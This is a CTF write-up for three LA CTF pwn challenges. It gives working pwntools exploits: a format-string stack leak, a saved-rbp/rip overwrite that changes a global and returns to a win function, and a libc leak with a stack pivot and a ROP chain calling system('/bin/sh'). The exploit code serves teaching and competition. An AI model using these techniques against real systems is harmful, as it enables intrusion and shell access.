# LA CTF
## pwn/2password
Download: [Chall](https://chall-files.lac.tf/uploads/29300e1ae5ea6df8c0aed7d5c08ab5d80c257899cf4a6d92290e4e54290dacde/chall)

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s2[48]; // [rsp+0h] [rbp-D0h] BYREF
char v5[48]; // [rsp+30h] [rbp-A0h] BYREF
char v6[48]; // [rsp+60h] [rbp-70h] BYREF
char s1[56]; // [rsp+90h] [rbp-40h] BYREF
FILE *v8; // [rsp+C8h] [rbp-8h]
setbuf(stdout, 0LL);
printf("Enter username: ");
readline(s1, 42LL, stdin);
printf("Enter password1: ");
readline(v6, 42LL, stdin);
printf("Enter password2: ");
readline(v5, 42LL, stdin);
v8 = fopen("flag.txt", "r");
if ( !v8 )
{
puts("can't open flag");
exit(1);
}
readline(s2, 42LL, v8);
if ( !strcmp(s1, "kaiphait") && !strcmp(v6, "correct horse battery staple") && !strcmp(v5, s2) )
{
puts("Access granted");
}
else
{
printf("Incorrect password for user ");
printf(s1);
putchar(10);
}
return 0;
}
```
Reversing and checking security it, we can see the bug is from **printf(s1)** (format string) but it just has only 1 **printf(argument)** so it is very hard to **overwrites** or **leaks some specific variables** so we just can **leak the stack**

After getting the information from the stack, I packed it as 64-bit and obtained the flag.
Script (help by google and chatGPT):
```python
from pwn import *
import re
p = remote('chall.lac.tf', 31142)
# p = process('./chall')
# gdb.attach(p)
payload = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
p.sendlineafter(b'Enter username: ', payload)
p.sendlineafter(b'Enter password1: ', b'1')
p.sendlineafter(b'Enter password2: ', b'1')
p.recvuntil(b'Incorrect password for user ')
recv = p.recvline().strip()
print(recv)
input_string = recv.decode(errors="ignore")
input_string = input_string.replace("(nil)", "0x0")
print("\nFiltered String:", input_string)
hex_values = re.split(r'(?=0x[0-9a-fA-F]+)', input_string)
hex_values = [h for h in hex_values if h.startswith("0x")]
byte_values = []
for hex_val in hex_values:
hex_str = hex_val[2:]
if len(hex_str) < 2:
continue
hex_str = hex_str.rjust(16, '0')
byte_values.append(bytes.fromhex(hex_str))
for i, byte_val in enumerate(byte_values):
print(f"Bytes {i}: {byte_val[::-1]}")
p.interactive()
```

Flag: **lactf{hunter2_cfc0xz68}**

## state-change
Download [chall](https://chall-files.lac.tf/uploads/d538733c7408bb1cad86b44d2e5746a05a1676e26ef2a600b86fb065f3dc51ae/chall)

**Vuln**:
```
Dump of assembler code for function vuln:
0x00000000004012b5 <+0>: endbr64
0x00000000004012b9 <+4>: push rbp
0x00000000004012ba <+5>: mov rbp,rsp
0x00000000004012bd <+8>: sub rsp,0x20
0x00000000004012c1 <+12>: lea rax,[rip+0xd80] # 0x402048
0x00000000004012c8 <+19>: mov rdi,rax
0x00000000004012cb <+22>: call 0x401090 <puts@plt>
0x00000000004012d0 <+27>: mov rdx,QWORD PTR [rip+0x2d59] # 0x404030 <stdin@GLIBC_2.2.5>
0x00000000004012d7 <+34>: lea rax,[rbp-0x20]
0x00000000004012db <+38>: mov esi,0x30
0x00000000004012e0 <+43>: mov rdi,rax
0x00000000004012e3 <+46>: call 0x4010c0 <fgets@plt>
0x00000000004012e8 <+51>: nop
0x00000000004012e9 <+52>: leave
=> 0x00000000004012ea <+53>: ret
End of assembler dump.
```
```c
char *vuln()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hey there, I'm deaddead. Who are you?");
return fgets(s, 48, stdin);
}
```
**Win**:
```
Dump of assembler code for function win:
0x00000000004011d6 <+0>: endbr64
0x00000000004011da <+4>: push rbp
0x00000000004011db <+5>: mov rbp,rsp
0x00000000004011de <+8>: sub rsp,0x150
0x00000000004011e5 <+15>: lea rax,[rbp-0x50]
0x00000000004011e9 <+19>: movabs rcx,0x742e67616c662f2e
0x00000000004011f3 <+29>: mov QWORD PTR [rax],rcx
0x00000000004011f6 <+32>: mov WORD PTR [rax+0x8],0x7478
0x00000000004011fc <+38>: mov BYTE PTR [rax+0xa],0x0
0x0000000000401200 <+42>: lea rax,[rip+0xe01] # 0x402008
0x0000000000401207 <+49>: mov rsi,rax
0x000000000040120a <+52>: lea rax,[rip+0xdf9] # 0x40200a
0x0000000000401211 <+59>: mov rdi,rax
0x0000000000401214 <+62>: call 0x4010d0 <fopen@plt>
0x0000000000401219 <+67>: mov QWORD PTR [rbp-0x8],rax
0x000000000040121d <+71>: mov eax,DWORD PTR [rip+0x331d] # 0x404540 <state>
0x0000000000401223 <+77>: cmp eax,0xf1eeee2d
0x0000000000401228 <+82>: je 0x401243 <win+109>
0x000000000040122a <+84>: lea rax,[rip+0xde2] # 0x402013
0x0000000000401231 <+91>: mov rdi,rax
0x0000000000401234 <+94>: call 0x401090 <puts@plt>
0x0000000000401239 <+99>: mov edi,0x1
0x000000000040123e <+104>: call 0x4010e0 <exit@plt>
0x0000000000401243 <+109>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000401248 <+114>: jne 0x40125b <win+133>
0x000000000040124a <+116>: lea rax,[rip+0x330f] # 0x404560 <errorMsg>
0x0000000000401251 <+123>: mov rdi,rax
0x0000000000401254 <+126>: call 0x401090 <puts@plt>
0x0000000000401259 <+131>: jmp 0x4012b2 <win+220>
0x000000000040125b <+133>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040125f <+137>: lea rax,[rbp-0x150]
0x0000000000401266 <+144>: mov esi,0x100
0x000000000040126b <+149>: mov rdi,rax
0x000000000040126e <+152>: call 0x4010c0 <fgets@plt>
0x0000000000401273 <+157>: lea rax,[rbp-0x150]
0x000000000040127a <+164>: lea rdx,[rip+0xdaf] # 0x402030
0x0000000000401281 <+171>: mov rsi,rdx
0x0000000000401284 <+174>: mov rdi,rax
0x0000000000401287 <+177>: call 0x4010b0 <strcspn@plt>
0x000000000040128c <+182>: mov BYTE PTR [rbp+rax*1-0x150],0x0
0x0000000000401294 <+190>: lea rax,[rip+0xd97] # 0x402032
0x000000000040129b <+197>: mov rdi,rax
0x000000000040129e <+200>: call 0x401090 <puts@plt>
0x00000000004012a3 <+205>: lea rax,[rbp-0x150]
0x00000000004012aa <+212>: mov rdi,rax
0x00000000004012ad <+215>: call 0x401090 <puts@plt>
0x00000000004012b2 <+220>: nop
0x00000000004012b3 <+221>: leave
0x00000000004012b4 <+222>: ret
End of assembler dump.
```
```c
int win()
{
char s[256]; // [rsp+0h] [rbp-150h] BYREF
char v2[16]; // [rsp+100h] [rbp-50h] BYREF
FILE *stream; // [rsp+148h] [rbp-8h]
strcpy(v2, "./flag.txt");
stream = fopen("flag.txt", "r");
if ( state != 0xF1EEEE2D )
{
puts("\ntoo ded to gib you the flag");
exit(1);
}
if ( !stream )
return puts(errorMsg);
fgets(s, 256, stream);
s[strcspn(s, "\n")] = 0;
puts("Here's the flag: ");
return puts(s);
}
```
After checking for a while, there is no way to reach to **win** function except using **ret2win**
But we have a problem that we can not pass the competition of **state** and **4058967597** (**0xf1eeee2d**), so i try to **return** after the competition but it can not open the file flag.txt so we just can change the **state** into **4058967597** (**0xf1eeee2d**)
```c
char *vuln()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hey there, I'm deaddead. Who are you?");
return fgets(s, 48, stdin);
}
```
Look at the **vuln** function, because the **s** array just have 32 byte, but you can text 48 byte so it can overwrite **save rbp and save rip** so we can control **save rbp** and **rsp** to change the value of **state** by change **save rip** into **vuln** to fgets again and change the value of **state**

Let try can i change **state** into another value
Script:
```python
from pwn import *
p = process('./chall')
input()
payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd) + p64(0x111111111111111111)
p.sendline(payload)
p.interactive()
```

0x4012bd is **vuln + 8**
0x404540 is address of **state** and +0x20 because look at the **vuln** function again
```
0x00000000004012b5 <+0>: endbr64
0x00000000004012b9 <+4>: push rbp
0x00000000004012ba <+5>: mov rbp,rsp
0x00000000004012bd <+8>: sub rsp,0x20
```
after that **rsp = rbp - 0x20** and you can change the value in **[rsp]** so we need to plus **rbp** more **0x20** to change **state**

After **fgets** again the value of **state** have been change.

My final script:
```python
from pwn import *
# p = process('./chall')
p = remote('chall.lac.tf', 31593)
payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd)[:-1]
p.sendafter(b'you?\n', payload)
payload = p64(0xf1eeee2d).ljust(32, b'A') + p64(0) + p64(0x4011db)[:-1]
p.sendafter(b'you?\n', payload)
p.interactive()
```
Eg:

**State** have been change to the right value and we got flag

Flag: lactf{1s_tHi5_y0Ur_1St_3vER_p1Voot}

Notice: using **sendafter** or combine 2 payload into 1 and don't forget to have **[:-1]** before the because the author using **fgets**, **fgets** can be stop if it meet NULL byte or (n - 1) byte input completed, so we use [:-1] to but a byte of the address so we can re-input 47 byte again when we use the **fgets** in vuln
## pwn/minceraft

Flow:
leak libc -> stack_pivot -> rop chain

**BOF**

We can leak libc here if we can control **rax**. We can also control the **rax** because **rax** will contain the result of the function, we can call **read_int** and then leak libc then we call **system('/bin/sh')**.
```python3
from pwn import *
p = process('./chall_patched')
gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')
input()
p.sendline(b'1') # Single player
offset = 0x48
ret = 0x401016
pivot = 0x404000
read_int = 0x401176
puts = 0x404000
mov_rdi_rax = 0x401243
leak_libc = flat(
b'A' * offset,
p64(ret),
p64(read_int),
p64(mov_rdi_rax)
)
input()
p.sendline(leak_libc)
input()
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')
data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
print(hex(puts_libc))
p.interactive()
```

Leak puts_libc

calc offset from libc_base to puts_libc. => libc_base = puts_libc - 0x77980


bin_sh = libc_base + 0xa3d31

=> pop_rdi = libc_base + 0x0277e5

=> system = libc_base + 0x04c490
```python3
from pwn import *
p = process('./chall_patched')
gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')
input()
p.sendline(b'1') # Single player
offset = 0x48
ret = 0x401016
pivot = 0x404000
read_int = 0x401176
mov_rdi_rax = 0x401243
leak_puts_libc = flat(
b'A' * offset,
p64(ret),
p64(read_int),
p64(mov_rdi_rax)
)
p.sendline(leak_puts_libc)
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')
data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
libc_base = puts_libc - 0x77980
bin_sh = libc_base + 0xa3d31
system = libc_base + 0x04c490
pop_rdi = libc_base + 0x0277e5
print(hex(libc_base))
final = flat(
b'A' * offset,
p64(pop_rdi),
p64(bin_sh),
p64(system)
)
input()
p.sendline(final)
p.interactive()
```

Stack pivot to fix it
Final script:
```python3
from pwn import *
p = process('./chall_patched')
gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')
input()
p.sendline(b'1') # Single player
offset = 0x40
ret = 0x401016
pivot = 0x404700
read_int = 0x401176
mov_rdi_rax = 0x401243
leak_puts_libc = flat(
b'A' * offset,
p64(pivot),
p64(ret),
p64(read_int),
p64(mov_rdi_rax)
)
p.sendline(leak_puts_libc)
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')
data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
libc_base = puts_libc - 0x77980
bin_sh = libc_base + 0x196031
system = libc_base + 0x04c490
pop_rdi = libc_base + 0x0277e5
print(hex(libc_base))
final = flat(
b'A' * offset,
p64(pivot),
p64(pop_rdi),
p64(bin_sh),
p64(ret),
p64(system)
)
input()
p.sendline(final)
p.sendline(b'1')
p.sendline(b'2')
p.interactive()
```

Flag: W1{hehe}